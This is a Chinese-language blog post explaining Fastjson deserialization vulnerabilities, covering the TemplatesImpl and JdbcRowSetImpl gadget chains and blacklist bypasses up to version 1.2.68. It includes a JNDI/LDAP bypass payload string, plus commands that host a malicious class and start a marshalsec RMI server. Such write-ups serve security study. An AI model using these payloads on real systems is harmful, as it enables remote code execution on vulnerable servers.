之前面试的时候被问fastjson原理,没答好,现在稍微缝合整理一下,跟参考的大哥们写的文章相比很浅,建议想要学习fastjson漏洞原理的还是看参考部分的文章吧
fastjson
阿里的一个开源java类库,作用是java对象与json字符串的相互转化,即序列化(对象->json)与反序列化
简单使用如下:
1 | <dependencies> |
1 | public class Main { |
1 |
|
使用过程中会调用的内容
parseObject(String text, Class clazz) ,构造⽅法 + setter + 满⾜条件额外的 getter
JSONObject parseObject(String text) ,构造⽅法 + setter + getter + 满⾜条件额外的 getter
parse(String text) ,构造⽅法 + setter + 满⾜条件额外的 getter
对于没有 set ⽅法的 private 成员,反序列化时传递 Feature.SupportNonPublicField 即可完成赋值
@type
fastjson反序列化的漏洞要从@type讲起
@type是一个特殊注解,用于反序列化,效果是标识JSON字符串中的某个属性是一个Java对象的类型,正是这样的功能引起了相关漏洞
直接看具体例子

可以看到java.lang.Runtime这个字符串值被@type标识为了一个java对象,在解析时的结果是java.lang.Runtime@7a5d012c,也就是一个Runtime类的实例对象
1 | public class Main { |
上面的这段代码可以利用反序列出来的Runtime实例对象弹个计算器出来
1 | public class Main { |

传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,具体效果就是给序列化后的json字符串多一个@type标识,如上图所示
漏洞
1.2.22-1.2.24版本中的反序列化漏洞原自两点:
@type字段指明反序列化的目标恶意类- 如前文所示,
fastjson反序列化时,字符串时会⾃动调⽤恶意对象的构造⽅法,setter⽅法,getter⽅法等,只要在这些方法里写入利用内容,就可以完成漏洞利用。
TemplatesImpl链
TemplatesImpl(Feature.SupportNonPublicField)利用链
扣来的脚本
1 | package com.crumbling; |
恶意类是一个继承AbstractTranslet的Test类,通过Test t = new Test();来初始化
javac 编译成字节码,然后对字节码继续进行base64 编码填充POC的 _bytecodes 字段,这就是TemplatesImpl利用链的弹计算器
分析
json字符串中主要有3个部分影响漏洞
@type 标识了反序列化的恶意⽬标类 TemplatesImpl ,FastJson最终会按照这个类反序列化得到实例
_bytecodes :继承 AbstractTranslet 类的恶意类字节码,使⽤ Base64 编码。
_outputProperties : TemplatesImpl 反序列化过程中会调⽤ getOutputProperties ⽅法, 导致 bytecodes 字节码成功实例化,造成命令执⾏。
因为上述2个成员变量都是无set的private变量,所以反序列化的时候要传入 Feature.SupportNonPublicField
整套流程如下,构造一个TemplatesImpl类的反序列化字符串,其中_bytecodes是构造的恶意类,其父类是AbstractTranslet,会被加载并使用newInstance()实例化。在反序列化过程中getOutputProperties()被fastjson调用,其过程为getOutputProperties() -> newTransformer()-> getTransletInstance()-> defineTransletClasses() -> EvilClass.newInstance()
JdbcRowSetImpl链
TemplatesImpl 利⽤链因为需要开启 Feature.SupportNonPublicField 选项,所以还是具有较⼤的 限制。而更好的解决⽅案—— JdbcRowSetImpl 利⽤链配合JDNI。
大致思路如下
恶意类
1 | package com.crumbling; |
通过 javac 编译得到 Exploit.class ⽂件,将字节码⽂件放到Web⽬录下
1 | C:\Users\Hacker>python -m http.server |
POC
1 | package com.crumbling; |
开启 RMI 服务器,默认运⾏在 1099 端⼝,并设置返回对象为远程恶意类的引⽤
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer |
分析
@type :指定恶意利⽤类为 com.sun.rowset.JdbcRowSetImpl
dataSourceName :指定 RMI / LDAP 恶意服务器,并调⽤ setDataSourceName 函数
autoCommit :调⽤ setAutoCommit 函数。
调用链流程:前文提到反序列化会调用目标类的setter/getter方法,JdbcRowSetImpl链在反序列化时就会调用的类中的setAutoCommit(),其中又会调用connect()方法
connect()方法中有如下内容
1 | InitialContext var1 = new InitialContext(); |
其存在JNDI注入,调⽤ lookup 函数,参数可控且为 this.getDataSourceName(),如果这个参数为http://127.0.0.1:8000/Exploit,也就是我们上传的恶意类,那么就可以完成加载利用
黑名单机制
官⽅在1.2.25版本更新中,对1.2.25-1.2.41版本漏洞进⾏了修补。新增了 autoTypeSupport 反序列化选项,并通过 checkAutoType 函数对加载类进⾏⿊⽩名单过滤和判断。
1.2.25版本默认情况下, autoTypeSupport 为 false ,将不⽀持指定类的反序列化,默认使⽤⿊名单 +⽩名单验证。
运行前面的poc,会得到

可以在源码中看到黑名单

再看相对应的check函数checkAutoType
代码比较占篇幅,这边说下逻辑:开启了autoType,先后从白名单黑名单里进行判断,如果在白名单中匹配成功,会直接用TypeUtils.loadClass加载,不会进行后续的黑名单匹配,没开就是反过来;如果黑白名单都没有匹配,那么在开启了autoType或者expectClass不为空,也就是指定Class(?)类才会加载。

有黑名单机制,那就要考虑绕过,checkAutoType本身的逻辑里没看到可绕过的部分,所以继续去loadClass方法里看看

可以看到在第二个else if里写的过滤逻辑,如果类名的字符串以L开头并以;结尾,则需要把开头的L和结尾的;给去掉,然后递归调用loadClass
从源码中可以看到,白名单是默认为空的那么一个比较简单的绕过方法就出来了
2步
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);- 在指定的类名开头加上
L,结尾加上;
1 | import com.alibaba.fastjson.JSON; |
check逻辑里还有个[开头也会去循环调用然后加载
所以相关绕过payload还有
1 | String payload = "{\"a\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/ift2ty\", \"autoCommit\":true}}"; |
逻辑来看[{的位置应该是,但是会出现报错,提示token相关的问题,所以最后还是要[{
1.2.42绕过
在前一次补丁上再次进行修补
主要改动内容为
- 类名变成了哈希值,不过已经有了对应的表格LeadroyaL/fastjson-blacklist ;
checkAutoType规则增加
可以看到他会进行一次首尾的删除
所以只需要双写L和;即可继续绕过(根据他循环删除的特性,其实n写也没问题)
1.2.43绕过
Ln写问题彻底解决,但是[的事情还没有搞定
Mybatis利用链
1.2.44-1.2.45前面提到的问题已经被修复
这边参考的2个资料开始分叉,一边利用mappings缓存绕过,一边则是Mybatis链
首先是Mybatis链
1 | public class Main { |
主要是会去调用POC中传递 properties 成员会调⽤ setProperties ,这里面也调用了lookup函数

data_source传入恶意RMI地址,完成加载利用
利用mappings缓存绕过
1.2.46开始Mybatis的也没了
1.2.47
扣个payload来
1 | package org.example; |
原理同样出现在checkAutoType,其在不开启autoType的情况下通过利用链将数据放入缓存mappings中,在后续会直接从缓存里取,而不需要进行检验
1.2.48绕过
1.2.48开始缓存有关的内容已经被修复了
1.2.48-1.2.67
针对黑名单的绕过为主,需要存在有其他组件
1.2.68绕过
感觉1.2.68开始这些版本都比较新,后续慢慢总结吧
更新了safeMode,如果开启了safeMode autoType会被完全禁止,绕过的核心是传入checkAutoType的参数expectClass

在前文fastjson的简单使用中Person.class即为expectClass
1 | Person person2 = JSON.parseObject(json2,Person.class) |
条件如下:
expectClass为空:
typeNmae不在denyHashCodes黑名单中(必须条件)SafeMode为false(必要条件,默认为false)typeName在TypeUtils#mappings中且expectClass为空且typeName不为HashMap且不为expectClass子类
expectClass不为空:
typeNmae和expectClass均不在denyHashCodes黑名单中(必须条件)autoTypeSupport为false(默认为false)expectClass在TypeUtils#mappings中typeName不是ClassLoader、DataSource、RowSet的子类expectClass不为null,且不为Object.class、Serializable.class、Cloneable.class、Closeable.class、EventListener.class、Iterable.class、Collection.classtypeName是expectClass的子类
参考
知识星球代码审计